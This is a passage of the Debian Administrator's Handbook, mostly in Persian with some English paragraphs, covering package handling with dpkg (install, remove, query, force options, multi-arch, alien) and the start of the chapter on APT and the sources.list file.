dpkg is the base command for handling Debian packages on the system. If you have .deb packages, it is dpkg that allows installation or analysis of their contents. But this program only has a partial view of the Debian universe: it knows what is installed on the system, and whatever it is given on the command line, but knows nothing of the other available packages. As such, it will fail if a dependency is not met. Tools such as apt and aptitude, on the contrary, will create a list of dependencies to install everything as automatically as possible.

یادداشت dpkg یا apt؟

dpkg باید به عنوان یک ابزار سیستمی (backend) و apt به عنوان یک ابزار سمت کاربر دیده شوند، که به محدودیت‌های اولی غلبه می‌کند. این ابزارها در کنار یکدیگر کار می‌کنند و هر یک ویژگی‌های خاص خود را دارند که برای فعالیت‌های مختلفی در نظر گرفته شده‌اند.

5.4.1. نصب بسته‌ها

dpkg، فراتر از همه، ابزار مورد نیاز جهت نصب یک بسته دبیان موجود می‌باشد (چرا که خود نمی‌تواند دانلود کند). برای اینکار، از گزینه -i یا --install آن استفاده می‌کنیم.

مثال 5.2. نصب یک بسته با استفاده از dpkg

# dpkg -i man-db_2.8.5-2_amd64.deb (Reading database ... 14913 files and directories currently installed.) Preparing to unpack .../man-db_2.8.5-2_amd64.deb ... Unpacking man-db (2.8.5-2) over (2.8.5-2) ... Setting up man-db (2.8.5-2) ... Updating database of manual pages ... Processing triggers for mime-support (3.62) ...

We can see the different steps performed by dpkg; we know, thus, at what point any error may have occurred. The installation can also be effected in two stages: first unpacking, then configuration. apt takes advantage of this, limiting the number of calls to dpkg (since each call is costly, due to loading of the database in memory, especially the list of already installed files).

مثال 5.3. از حالت فشرده خارج کردن و پیکربندی به صورت جداگانه

# dpkg --unpack man-db_2.8.5-2_amd64.deb (Reading database ... 14937 files and directories currently installed.) Preparing to unpack man-db_2.8.5-2_amd64.deb ... Unpacking man-db (2.8.5-2) over (2.8.5-2) ... Processing triggers for mime-support (3.62) ... # dpkg --configure man-db Setting up man-db (2.8.5-2) ... Updating database of manual pages ...

گاهی اوقات dpkg موفق به نصب یک بسته نمی‌شود و پیام خطایی باز می‌گرداند؛ اگر کاربر نخواهد این پیام را ببیند، تنها یک اخطار صادر می‌شود؛ به همین دلیل است که از نسخه‌های متفاوت گزینه --force-* استفاده می‌کنیم. دستور dpkg --force-help یا مستندات مربوط به آن، فهرستی از تمام گزینه‌های موجود را نمایش می‌دهد. متداول‌ترین خطا، که دیر یا زود با آن مواجه خواهید شد، وجود فایل مورد نظر روی سیستم است. زمانی که بسته شامل فایلی است که از قبل توسط بسته دیگری نصب شده است، dpkg از نصب آن خودداری می‌کند. آنگاه پیام‌های زیر صادر می‌شوند:

Unpacking libgdm (from .../libgdm_3.8.3-2_amd64.deb) ... dpkg: error processing /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack): trying to overwrite '/usr/bin/gdmflexiserver', which is also in package gdm3 3.4.1-9

در این مورد، اگر فکر می‌کنید که جایگزین کردن فایل تاثیر بسزایی روی سیستم نخواهد گذاشت (که معمولا می‌گذارد)، می‌توانید از گزینه --force-overwrite استفاده کنید که به dpkg می‌گوید فایل جدید را جایگزین قبلی کند و از این خطا جلوگیری نماید.

با توجه به اینکه گزینه‌های متفاوتی از --force-* وجود دارند، --force-overwrite معمولا از بقیه بیشتر مورد استفاده قرار می‌گیرد. این گزینه‌ها برای حالت‌های بسیار خاص موجود هستند و بهتر است تا جایی که می‌توانیم از آن‌ها استفاده نکنیم تا به قواعد استاندارد مکانیزم بسته‌بندی احترام بگذاریم. فراموش نکنید که، این قوانین منجر به پایداری و یکپارچکی سیستم شما می‌گردند.

احتیاط کاربرد موثر --force-*

اگر در استفاده از گزینه‌های --force-* احتیاط نکنید، سیستم شما به حالتی می‌رود که هیچ یک از ابزار خانواده APT دیگر قادر به ادامه فعالیت خود نخواهند بود. در حقیقت، برخی از این گزینه‌ها با حالت‌هایی سروکار دارند که یک وابستگی رعایت نشده یا تداخلی در آن موجود باشد و به شما اجازه نصب را می‌دهند. نتیجه یک سیستم ناپایدار خواهد بود از نقطه نظر وابستگی‌ها و دستورات APT از اجرای هر فرمان جدید خودداری می‌کنند مگر آن دسته فرامین که به پایداری مجدد سیستم کمک کند (این گزینه شامل نصب وابستگی گم شده یا حذف بسته دردسرساز می‌باشد). پس از نصب نسخه جدید rdesktop بدون در نظر گرفتن وابستگی جدید آن به libc6، پیام‌های زیر صادر می‌شوند:

# apt full-upgrade [...] You might want to run 'apt-get -f install' to correct these. The following packages have unmet dependencies: rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed E: Unmet dependencies. Try using -f.

یک مدیرسیستم شجاع که نسبت به تحلیل وضعیت سیستم خود آگاهی دارد می‌تواند یک وابستگی را در نظر نگیرد یا از تداخل بسته‌ها بیمی نداشته باشد و از گزینه --force-* استفاده نماید. در این مورد، اگر بخواهد در ادامه از apt یا apt استفاده کند، باید فایل /var/lib/dpkg/status را ویرایش کرده و وابستگی یا تداخل مورد نظر را حذف/تغییر دهد.

This manipulation is an ugly hack, and should never be used, except in the most extreme case of necessity. Quite frequently, a more fitting solution is to recompile the package that is causing the problem (see قسمت 15.1, “بازسازی یک بسته از منبع آن” ) or use a new version (potentially corrected) from a repository such as the stable-backports one (see قسمت 6.1.2.4, “بروزرسانی‌های پایدار قدیمی” ).

5.4.2. حذف بسته

Invoking dpkg with the -r or --remove option, followed by the name of a package, removes that package. This removal is, however, not complete: all of the configuration files, maintainer scripts, log files (system logs) and other user data handled by the package remain. That way disabling the program is easily done by uninstalling it, and it is still possible to quickly reinstall it with the same configuration. To completely remove everything associated with a package, use the -P or --purge option, followed by the package name.

مثال 5.4. حذف و پاکسازی بسته debian-cd

# dpkg -r debian-cd (Reading database ... 15915 files and directories currently installed.) Removing debian-cd (3.1.25) ... # dpkg -P debian-cd (Reading database ... 15394 files and directories currently installed.) Purging configuration files for debian-cd (3.1.25) ...

5.4.3. فراخوانی پایگاه‌داده dpkg و جستجوی فایل‌های .deb

بازگشت به مقدمات شیوه نحوه گزینه‌های جانبی

اکثر گزینه‌ها به صورت نسخه “بلند” (یک یا چند کلمه مرتبط، بعد از کاراکتر --) و یک نسخه “کوتاه” (یک کاراکتر، معمولا حرف اول نسخه کامل کلمه، بعد از کاراکتر -) هستند. این قاعده به عنوان یک استاندارد POSIX به حساب می‌آید.

قبل از جمع‌بندی این قسمت، به مطالعه گزینه‌هایی از dpkg می‌پردازیم که برای کسب اطلاعات بیشتر از پایگاه‌داده داخلی آن به پرس و جو می‌پردازند. ابتدا نسخه بلند سپس کوتاه آورده می‌شود (هر دو به یک میزان پارامتر دریافت می‌کنند). --listfiles package (یا -L) فهرست فایل‌های نصب شده توسط بسته را نمایش می‌دهد؛ --search file (یا -S) به جستجوی بسته(ها) می‌پردازد که شامل فایل مورد نظر هستند؛ --status package (یا -s) فایل سرآیند یک بسته نصب شده را نمایش می‌دهد؛ --list (یا -l) فهرست بسته‌های نصب شده روی سیستم و وضعیت هر یک را نمایش می‌دهد؛ --contents file.db (یا -c) فهرستی از فایل‌های موجود در بسته را نمایش می‌دهد؛ --info file.db (یا -I) که فایل سرآیند این بسته دبیان را نمایش می‌دهد.

CAUTION dpkg --search and merged /usr

For various reasons, Debian now installs by default a few top-level directories as symlinks to their counterparts below /usr. For instance, /bin, /sbin and /lib are now symlinks to, respectively, /usr/bin, /usr/sbin and /usr/lib.

While this does provide desirable benefits, it can also be a source of confusion. For example, when you query dpkg which package is owning a given file, it will only be able to answer when you ask for its original path:

$ dpkg --search /bin/mount mount: /bin/mount $ dpkg --search /usr/bin/mount dpkg-query: no path found matching pattern /usr/bin/mount $ dpkg --search /bin/apt dpkg-query: no path found matching pattern /bin/apt $ dpkg --search /usr/bin/apt apt: /usr/bin/apt

مثال 5.5. پرس و جوهای گوناگون با استفاده از dpkg

$ dpkg -L base-passwd /. /usr /usr/sbin /usr/sbin/update-passwd /usr/share /usr/share/base-passwd /usr/share/base-passwd/group.master /usr/share/base-passwd/passwd.master /usr/share/doc /usr/share/doc/base-passwd /usr/share/doc/base-passwd/README /usr/share/doc/base-passwd/changelog.gz /usr/share/doc/base-passwd/copyright /usr/share/doc/base-passwd/users-and-groups.html /usr/share/doc/base-passwd/users-and-groups.txt.gz /usr/share/doc-base /usr/share/doc-base/users-and-groups /usr/share/lintian /usr/share/lintian/overrides /usr/share/lintian/overrides/base-passwd /usr/share/man /usr/share/man/de /usr/share/man/de/man8 /usr/share/man/de/man8/update-passwd.8.gz /usr/share/man/es /usr/share/man/es/man8 /usr/share/man/es/man8/update-passwd.8.gz /usr/share/man/fr /usr/share/man/fr/man8 /usr/share/man/fr/man8/update-passwd.8.gz /usr/share/man/ja /usr/share/man/ja/man8 /usr/share/man/ja/man8/update-passwd.8.gz /usr/share/man/man8 /usr/share/man/man8/update-passwd.8.gz /usr/share/man/pl /usr/share/man/pl/man8 /usr/share/man/pl/man8/update-passwd.8.gz /usr/share/man/ru /usr/share/man/ru/man8 /usr/share/man/ru/man8/update-passwd.8.gz $ dpkg -S /bin/date coreutils: /bin/date $ dpkg -s coreutils Package: coreutils Essential: yes Status: install ok installed Priority: required Section: utils Installed-Size: 15719 Maintainer: Michael Stone <mstone@debian.org> Architecture: amd64 Multi-Arch: foreign Version: 8.30-3 Pre-Depends: libacl1 (>= 2.2.23), libattr1 (>= 1:2.4.44), libc6 (>= 2.28), libselinux1 (>= 2.1.13) Description: GNU core utilities This package contains the basic file, shell and text manipulation utilities which are expected to exist on every operating system. . Specifically, this package includes: arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp csplit cut date dd df dir dircolors dirname du echo env expand expr factor false flock fmt fold groups head hostid id install join link ln logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac tail tee test timeout touch tr true truncate tsort tty uname unexpand uniq unlink users vdir wc who whoami yes Homepage: http://gnu.org/software/coreutils $ dpkg -l 'b*' Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-====================-===============-===============-================================================== un backupninja <none> <none> (no description available) un backuppc <none> <none> (no description available) un baobab <none> <node> (no description available) un base <none> <none> (no description available) un base-config <none> <none> (no description available) ii base-files 11 amd64 Debian base system miscellaneous files ii base-passwd 3.5.46 amd64 Debian base system master password and group files ii bash 5.0-4 amd64 GNU Bourne Again SHell [..] $ dpkg -c /var/cache/apt/archives/gnupg-utils_2.2.12-1_amd64.deb drwxr-xr-x root/root 0 2018-12-15 02:17 ./ drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/ drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/bin/ -rwxr-xr-x root/root 3516 2018-12-15 02:17 ./usr/bin/gpg-zip -rwxr-xr-x root/root 866256 2018-12-15 02:17 ./usr/bin/gpgcompose -rwxr-xr-x root/root 30792 2018-12-15 02:17 ./usr/bin/gpgparsemail -rwxr-xr-x root/root 84432 2018-12-15 02:17 ./usr/bin/gpgsplit -rwxr-xr-x root/root 154952 2018-12-15 02:17 ./usr/bin/gpgtar -rwxr-xr-x root/root 166568 2018-12-15 02:17 ./usr/bin/kbxutil -rwxr-xr-x root/root 1081 2017-08-28 12:22 ./usr/bin/lspgpot -rwxr-xr-x root/root 2194 2018-11-18 23:37 ./usr/bin/migrate-pubring-from-classic-gpg -rwxr-xr-x root/root 121576 2018-12-15 02:17 ./usr/bin/symcryptrun -rwxr-xr-x root/root 18424 2018-12-15 02:17 ./usr/bin/watchgnupg drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/sbin/ -rwxr-xr-x root/root 3075 2018-12-15 02:17 ./usr/sbin/addgnupghome -rwxr-xr-x root/root 2217 2018-12-15 02:17 ./usr/sbin/applygnupgdefaults drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/share/ drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/share/doc/ [...] $ dpkg -I /var/cache/apt/archives/gnupg-utils_2.2.12-1_amd64.deb new Debian package, version 2.0. size 857408 bytes: control archive=1844 bytes. 1564 bytes, 32 lines control 1804 bytes, 28 lines md5sums Package: gnupg-utils Source: gnupg2 Version: 2.2.12-1 Architecture: amd64 Maintainer: Debian GnuPG Maintainers <pkg-gnupg-maint@lists.alioth.debian.org> Installed-Size: 1845 Depends: libassuan0 (>= 2.0.1), libbz2-1.0, libc6 (>= 2.25), libgcrypt20 (>= 1.8.0), libgpg-error0 (>= 1.26-2~), libksba8 (>= 1.3.4), libreadline7 (>= 6.0), zlib1g (>= 1:1.1.4) Recommends: gpg, gpg-agent, gpgconf, gpgsm Breaks: gnupg (<< 2.1.21-4), gnupg-agent (<< 2.1.21-4) Replaces: gnupg (<< 2.1.21-4), gnupg-agent (<< 2.1.21-4) Section: utils Priority: optional Multi-Arch: foreign Homepage: https://www.gnupg.org/ Description: GNU privacy guard - utility programs GnuPG is GNU's tool for secure communication and data storage. . This package contains several useful utilities for manipulating OpenPGP data and other related cryptographic elements. It includes: . * addgnupghome -- create .gnupg home directories * applygnupgdefaults -- run gpgconf --apply-defaults for all users * gpgcompose -- an experimental tool for constructing arbitrary sequences of OpenPGP packets (e.g. for testing) * gpgparsemail -- parse an e-mail message into annotated format * gpgsplit -- split a sequence of OpenPGP packets into files * gpgtar -- encrypt or sign files in an archive * kbxutil -- list, export, import Keybox data * lspgpot -- convert PGP ownertrust values to GnuPG * migrate-pubring-from-classic-gpg -- use only "modern" formats * symcryptrun -- use simple symmetric encryption tool in GnuPG framework * watchgnupg -- watch socket-based logs [..]

مطالعه بیشتر مقایسه نسخه‌ها

از آنجایی که dpkg برنامه اصلی برای سر و کار داشتن با بسته‌های دبیان است، همچنین امکان مقایسه منطقی بین نسخه‌های مختلف از یک برنامه را فراهم می‌آورد. به همین دلیل است که گزینه --compare-versions موجود می‌باشد، که اغلب توسط برنامه‌های دیگر مانند اسکریپت‌های پیکربندی (که توسط خود dpkg اجرا می‌شوند) مورد استفاده قرار می‌گیرد. این گزینه به سه پارامتر نیاز دارد: نسخه اول، عملگر و نسخه دوم. عملگرهای متفاوت عبارتند: از lt (کوچکتر)، le (کوچکتر یا مساوی)، eq (مساوی)، ne (نامساوی)، ge (بزرگتر یا مساوی) و gt (بزرگتر). اگر مقایسه صحیح باشد، dpkg عدد ۰ را باز می‌گرداند (موفقیت)؛ در غیر اینصورت، یک مقدار غیر صفر را نمایش می‌دهد (نشانه شکست).

$ dpkg --compare-versions 1.2-3 gt 1.1-4 $ echo $? 0 $ dpkg --compare-versions 1.2-3 lt 1.1-4 $ echo $? 1 $ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1 $ echo $? 1

به شسکت غیرمنتظره از آخرین مقایسه توجه کنید: برای dpkg، عبارت pre، که به معنی pre-release است، هیچ معنای خاصی ندارد و این برنامه عمل مقایسه روی کاراکترهای الفبایی را مانند اعداد (a < b < c) انجام می‌دهد، به ترتیب الفبایی. به همین دلیل است که تشخیص داد “0pre3” از “0” بزرگتر است. اگر بخواهیم نشان دهیم که نسخه یک بسته نشان‌دهنده یک pre-release است از کاراکتر “~” استفاده می‌کنیم:

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1 $ echo $? 0

5.4.4. فایل لاگ dpkg

dpkg مجموعه تمام رخدادهای خود را درون فایل /var/log/dpkg.log ذخیره می‌کند. این فایل تمام عملیات انجام شده توسط dpkg را به همراه جزئیات نمایش می‌دهد. در کنار ایجاد روشی جهت ردیابی عملکرد dpkg، این فایل تاریخچه‌ای از عملیات انجام شده روی سیستم را ذخیره می‌کند: به راحتی می‌توان تشخیص داد در هر لحظه چه بسته‌ای اضافه یا حذف شده است و این اطلاعات به درک و بررسی اتفاقات اخیر روی سیستم کمک شایانی می‌کند. به علاوه، تمام نسخه‌ها نیز نگهداری می‌شوند که این امر فرآیند بررسی اطلاعات موجود را با فایل changelog.Debian.gz برای بسته مورد نظر یا حتی گزارش‌های آنلاین باگ، تسهیل می‌نماید.

5.4.5. پشتیبانی از چند-معماری

تمام بسته‌های دبیان دارای یک فیلد Architecture در فایل کنترلی خود هستند. این فیلد می‌تواند شامل “all” (برای بسته‌های مستقل از یک معماری خاص) یا نام معماری‌های مورد نظر (مانند “armhf”، “amd64” و ...) باشد. در مورد آخر، dpkg تنها در صورتی اقدام به نصب بسته می‌کند که معماری آن با معماری سیستم موجود که توسط دستور dpkg --print-architecture مشخص می‌شود، یکسان باشد.

این محدودیت تضمین می‌کند که کاربران به اشتباه از یک باینری معماری دیگر استفاده نکنند. همه چیز خوب پیش می‌رود به جز (برخی) رایانه‌هایی که قادر به اجرای باینری‌های معماری‌های متفاوت هستند، خواه به صورت پیش‌فرض (یک سیستم “amd64“ می‌تواند باینری‌های “i386“ را اجرا کند) یا با استفاده از شبیه‌سازها.

5.4.5.1. فعال‌سازی چند-معماری

قابلیت پشتیبانی از چند معماری در dpkg به کاربران امکان تعریف “معماری‌های خارجی” که می‌توانند روی سیستم نصب شوند را می‌دهد. اینکار به راحتی با دستور dpkg--add-architecture که در ادامه می‌بینیم، انجام می‌شود. همچنین دستور متناظر با آن dpkg--remove-architecture است که پشتیبانی از یک معماری خارجی را متوقف می‌سازد، اما تنها زمانی قابل استفاده است که هیچ بسته‌ای از این معماری روی سیستم نصب نباشد.

# dpkg --print-architecture amd64 # dpkg --print-foreign-architectures # dpkg -i gcc-8-base_8.3.0-6_armhf.deb dpkg: error processing archive gcc-8-base_8.3.0-6_armhf.deb (--install): package architecture (armhf) does not match system (amd64) Errors were encountered while processing: gcc-8-base_8.3.0-6_armhf.deb # dpkg --add-architecture armhf # dpkg --add-architecture armel # dpkg --print-foreign-architectures armhf armel # dpkg -i gcc-8-base_8.3.0-6_armhf.deb (Reading database ... 14319 files and directories currently installed.) Preparing to unpack gcc-8-base_8.3.0-6_armhf.deb ... Unpacking gcc-8-base:armhf (8.3.0-6) ... Setting up gcc-8-base:armhf (8.3.0-6) ... # dpkg --remove-architecture armhf dpkg: error: cannot remove architecture 'armhf' currently in use by the database # dpkg --remove-architecture armel # dpkg --print-foreign-architectures armhf

یادداشت پشتیبانی از چند-معماری در APT

APT will automatically detect when dpkg has been configured to support foreign architectures and will start downloading the corresponding Packages files during its update process.

بسته‌های خارجی می‌توانند با استفاده از دستور apt install package:architecture نصب گردند.

در عمل استفاده از باینری‌های اختصاصی i386 در amd64

There are multiple use cases for multi-arch, but the most popular ones are the possibility to execute (sometimes proprietary) 32 bit binaries (i386) on 64 bit systems (amd64), and the possibility to cross-compile software for a platform or an architecture different from the host one.

5.4.5.2. تغییرات مربوط به چند-معماری

To make multi-arch actually useful and usable, libraries had to be repackaged and moved to an architecture-specific directory so that multiple copies (targeting different architectures) can be installed alongside. Such updated packages contain the “Multi-Arch: same” header field to tell the packaging system that the various architectures of the package can be safely co-installed (and that those packages can only satisfy dependencies of packages of the same architecture). The most important libraries have been converted since the introduction of multi-arch in Debian 7 Wheezy, but there are many libraries that will likely never be converted unless someone specifically requests it (through a bug report for example).

$ dpkg -s gcc-8-base dpkg-query: error: --status needs a valid package name but 'gcc-8-base' is not: ambiguous package name 'gcc-8-base' with more than one installed instance Use --help for help about querying packages. $ dpkg -s gcc-8-base:amd64 gcc-8-base:armhf | grep ^Multi Multi-Arch: same Multi-Arch: same $ dpkg -L libgcc1:amd64 |grep .so /lib/x86_64-linux-gnu/libgcc_s.so.1 $ dpkg -S /usr/share/doc/gcc-8-base/copyright gcc-8-base:amd64, gcc-8-base:armhf: /usr/share/doc/gcc-8-base/copyright

شایان ذکر است که بسته‌های Multi-Arch: same باید در انتهای نام خود، معماری را ذکر کنند تا به تنهایی قابل تشخیص از سایر بسته‌ها گردند. همچنین احتمال به اشتراک‌گذاری فایل‌ها از یک نمونه دیگر از آن بسته وجود دارد؛ dpkg اطمینان می‌یابد که تمام بسته‌ها زمانی که به اشتراک گذاشته می‌شوند فایل‌های یکسان و بیت به بیت دارند. در انتها، تمام نمونه‌های یک بسته باید از یک نسخه تبعیت کنند. همچنین باید با یکدیگر بروزرسانی گردند.

پشتیبانی از چند-معماری همراه با چالش‌های جالبی در رابطه با شیوه مدیریت وابستگی‌ها است. رعایت یک وابستگی نیازمند این است که یا بسته به عنوان “Multi-Arch: foreign” نشانه‌گذاری شده باشد یا معماری آن با معماری وابستگی‌اش یکسان باشد (در این فرآیند، بسته‌هایی که مستقل از یک معماری هستند به عنوان بسته‌های سازگار با معماری سیستم در نظر گرفته می‌شوند). همچنین یک وابستگی می‌تواند به منظور اجرا در سیستم، ضعیف گردد، با استفاده از package:any، اما بسته‌های خارجی تنها در حالتی می‌توانند این وابستگی را رعایت کنند که به عنوان “Multi-Arch: allowed” نشانه‌گذاری شده باشند.

5.5. همزیستی با سایر سیستم‌های بسته‌بندی

بسته‌های دبیان تنها بسته‌های نرم‌افزاری موجود در دنیای نرم‌افزار آزاد نیستند. رقیب اصلی آن‌ها قالب RPM از توزیع ردهت و مشتقات آن می‌باشد. ردهت یک توزیع بسیار محبوب و تجاری است. به همین دلیل طبیعی است که نرم‌افزارهای شخص ثالث، در قالب بسته‌های ردهت ارائه شوند تا دبیان.

در این مورد، باید بدانید برنامه rpm، که بسته‌های RPM را مدیریت می‌کند، خود به عنوان یک بسته دبیان موجود است، بنابراین امکان استفاده از آن در دبیان وجود دارد. اگرچه، احتیاط شرط عقل است و هنگام استخراج اطلاعات از یک بسته یا بررسی جامعیت آن، باید دقت لازم را داشته باشید. در حقیقت، استفاده از rpm به منظور نصب یک بسته RPM در دبیان غیرمنطقی به نظر می‌رسد؛ RPM از پایگاه‌داده خود استفاده می‌کند، که جدای از پایگاه‌داده dpkg است. به همین دلیل امکان تضمین همزیستی مسالمت‌آمیز بین این دو سیستم وجود ندارد.

از طرف دیگر، برنامه alien قابلیت تبدیل بسته‌های RPM به دبیان و برعکس را دارد.

جامعه کاربری تشویق به قبول .deb

If you regularly use the alien program to install RPM packages coming from one of your providers, do not hesitate to write to them and amicably express your strong preference for the .deb format. Note that the format of the package is not everything: a .deb package built with alien or prepared for a version of Debian different than that which you use, or even for a derivative distribution like Ubuntu, would probably not offer the same level of quality and integration as a package specifically developed for Debian Buster.

$ fakeroot alien --to-deb phpMyAdmin-4.7.5-2.fc28.noarch.rpm phpmyadmin_4.7.5-3_all.deb generated $ ls -s phpmyadmin_4.7.5-3_all.deb 4356 phpmyadmin_4.7.5-3_all.deb

متوجه می‌شوید که این فرآیند بسیار ساده است. اگرچه، باید بدانید که بسته تولید شده اطلاعاتی درباره وابستگی‌های مورد نیازش ندارد، چرا که وابستگی‌های در دو سیستم کاملا جداگانه تعریف شده و با یکدیگر سازگاری مشخصی ندارند. مدیرسیستم خود باید تضمین کند که بسته تبدیل شده به درستی کار خواهد کرد، این دلیلی است که بسته‌های دبیان که به این روش تولید می‌شوند تا آنجا که ممکن است نباید استفاده گردند. خوشبختانه، دبیان دارای بزرگترین مجموعه از بسته‌های نرم‌افزاری در بین تمام توزیع‌ها است و به احتمال زیاد هر آنچه شما بخواهید در آن وجود دارد.

با نگاه به صفحه راهنمای alien متوجه می‌شوید که این برنامه از سایر قالب‌های بسته‌بندی نیز پشتیبانی می‌کند، به خصوص قالب مورد استفاده در توزیع Slackware (که از یک آرشیو ساده tar.gz تشکیل شده است).

پایداری نرم‌افزار توزیع شده توسط ابزار dpkg به شهرت دبیان افزوده است. مجموعه ابزار APT، که در فصل بعد بررسی می‌کنیم، از این برتری استفاده می‌کند، به صورتی که مدیرسیستم دیگر نگرانی درباره نحوه مدیریت وضعیت یک بسته نخواهد داشت، یک وظیفه لازم اما دشوار.

فصل 6. نگهداری و بروزرسانی: ابزار APT

What makes Debian so popular with administrators is how easily software can be installed and how easily the whole system can be updated. This unique advantage is largely due to the APT program, which Falcot Corp administrators studied with enthusiasm.

APT is the abbreviation for Advanced Package Tool. What makes this program “advanced” is its approach to packages. It doesn't simply evaluate them individually, but it considers them as a whole and produces the best possible combination of packages depending on what is available and compatible according to dependencies.

واژگان مبدا بسته و بسته سورس

The word source can be ambiguous. A "source package" — a package containing the source code of a program — should not be confused with a "package source" — a repository (website, FTP server, CD-ROM, local directory, etc.) which contains packages.

APT needs to be given a “list of package sources (repositories)”: the file /etc/apt/sources.list will list the different repositories that publish Debian packages. APT will then import the list of packages published by each of these sources. This operation is achieved by downloading Packages.xz files or a variant such as Packages.gz or .bz2 (using a different compression method) in case of a source of binary packages and by analyzing their contents. In case of a source of source packages, APT downloads Sources.xz files or a variant using a different compression method. When an old copy of these files is already present, APT can update it by only downloading the differences (see sidebar TIP Incremental updates).

بازگشت به مقدمات فشرده‌سازی gzip، bzip2، LZMA و XZ

پسوند .gz اشاره با فایلی فشرده‌شده با ابزار gzip دارد. gzip ابزار سنتی اما سریع و کاربردی یونیکس برای فشرده‌سازی فایل‌ها است. ابزار جدیدتر با اینکه فشرده‌سازی بهتری انجام می‌دهند اما منابع بیشتری (زمان محاسباتی و حافظه) نیز لازم دارند. از میان آن‌ها، به ترتیب زمانی، می‌توان به bzip2 (فایل‌هایی با پسوند .bz2 ایجاد می‌کند)، lzma (فایل‌هایی با پسوند .lzma ایجاد می‌کند) و xz (فایل‌هایی با پسوند .xz ایجاد می‌کند) اشاره کرد.

6.1. پر کردن فایل sources.list

6.1.1. شیوه استفاده

Each active line in the /etc/apt/sources.list file represents a package source (repository) and is made of at least three parts separated by spaces. For a complete description of the file format and the accepted entry compositions see sources.list(5).

مثال 6.1. Example entry format in /etc/apt/sources.list

deb url distribution component1 component2 component3 [..] componentX deb-src url distribution component1 component2 component3 [..] componentX

فیلد اول نوع منبع را مشخص می‌کند:

deb

منبع بسته (مخزن) بسته های باینری

deb-src

منبع بسته (مخزن) بسته های منبع

The second field gives the base URL of the source. Combined with the filenames listed in the Packages.xz files, it must give a full and valid URL. This can consist in a Debian mirror or in any other package archive set up by a third party. The URL can start with file:// to indicate a local source installed in the system's file hierarchy, with http:// or https:// to indicate a source accessible from a web server, or with ftp:// or ftps:// for a source available on an FTP server. The URL can also start with cdrom: for CD-ROM/DVD/Blu-ray disc based installations, although this is less frequent, since network-based installation methods are eventually more common.

The syntax of the last field depends on the structure of the repository. In the simplest case, you can simply indicate a subdirectory (with a required trailing slash) of the desired source. This is often a simple “./” which refers to the absence of a subdirectory. The packages are then directly at the specified URL. But in the most common case, the repositories will be structured like a Debian mirror, with multiple distributions, each having multiple components. In those cases, name the chosen distribution by its “codename” — see the list in sidebar جامعه کاربری بروس پرنس، رهبری بحث‌برانگیز — or by the corresponding “suite” (oldstable, stable, testing, unstable) and then the components to enable. A typical Debian mirror provides the components main, contrib, and non-free.

واژگان بایگانی‌های main، contrib و non-free

Debian uses three components to differentiate packages according to the licenses chosen by the authors of each work. Main gathers all packages which fully comply with the Debian Free Software Guidelines.

The non-free component is different because it contains software which does not (entirely) conform to these principles but which can, nevertheless, be distributed without restrictions. This archive, which is not officially part of Debian, is a service for users who could need some of those programs and, nowadays, also require the firmware for their hardware. However, Debian always recommends giving priority to free software. The existence of this component represents a considerable problem for Richard M. Stallman and keeps the Free Software Foundation from recommending Debian to users.

Contrib (contributions) is a set of open source software which cannot function without some non-free elements — these elements can be software from the non-free section, or non-free files such as game ROMs, BIOS of consoles, etc. — or some elements, not available from the Debian main archive at all. The contrib component also includes free software whose compilation requires proprietary elements. This was initially the case for the OpenOffice.org office suite, which used to require a proprietary Java environment.

TIP Files in /etc/apt/sources.list.d/

اگر به تعداد زیادی منابع بسته‌ها اشاره می‌شود، بهتر است که آن‌ها را در فایل‌های جداگانه قرار داد. هر قسمت باید در /etc/apt/sources.list.d/filename.list ذخیره گردد (بازگشت به مقدمات دایرکتوری‌هایی که به .d ختم می‌شوند را مشاهده کنید).

مدخل‌های موجود در cdrom به تشریح CD/DVD-ROM می‌پردازد. بر خلاف سایر مدخل‌ها، یک CD-ROM همیشه در دسترس نیست چرا که باید داخل درایو قرار گیرد و در هر لحظه بیشتر از یک دیسک در آن جای نمی‌گیرد. به همین دلایل، این منابع به شیوه گوناگونی مدیریت می‌شوند و نیاز دارند که با برنامه apt-cdrom اضافه گردند که معمولا از پارامتر add آن استفاده می‌شود. در این مورد، برنامه به دنبال دیسک موجود می‌گردد و از فایل Packages آن استفاده می‌کند. برنامه با استفاده از فایل‌های موجود، پایگاه داده درونی خود را بروزرسانی می‌کند (این عملیات با استفاده از دستور apt update انجام می‌شود). از این لحظه به بعد، APT هر زمان به برنامه‌ای از این فهرست نیاز داشته باشد دیسک مورد نظر آن را درخواست می‌کند.

6.1.2. مخازنی برای کاربران Stable

در اینجا نمونه‌ای از فایل sources.list برای سیستمی که نسخه Stable دبیان را اجرا می‌کند، ارائه می‌شود:

مثال 6.2. فایل /etc/apt/sources.list برای کاربران نسخه پایدار دبیان

# Security updates deb http://security.debian.org/ buster/updates main contrib non-free deb-src http://security.debian.org/ buster/updates main contrib non-free ## Debian mirror # Base repository deb https://deb.debian.org/debian buster main contrib non-free deb-src https://deb.debian.org/debian buster main contrib non-free # Stable updates deb https://deb.debian.org/debian buster-updates main contrib non-free deb-src https://deb.debian.org/debian buster-updates main contrib non-free # Stable backports deb https://deb.debian.org/debian buster-backports main contrib non-free deb-src https://deb.debian.org/debian buster-backports main contrib non-free

This file lists all sources of packages associated with the Buster version of Debian (the current Stable suite as of this writing). In the example above, we opted to name “buster” explicitly instead of using the corresponding “stable“ aliases (stable, stable-updates, stable-backports) because we don't want to have the underlying distribution changed outside of our control when the next stable release comes out.

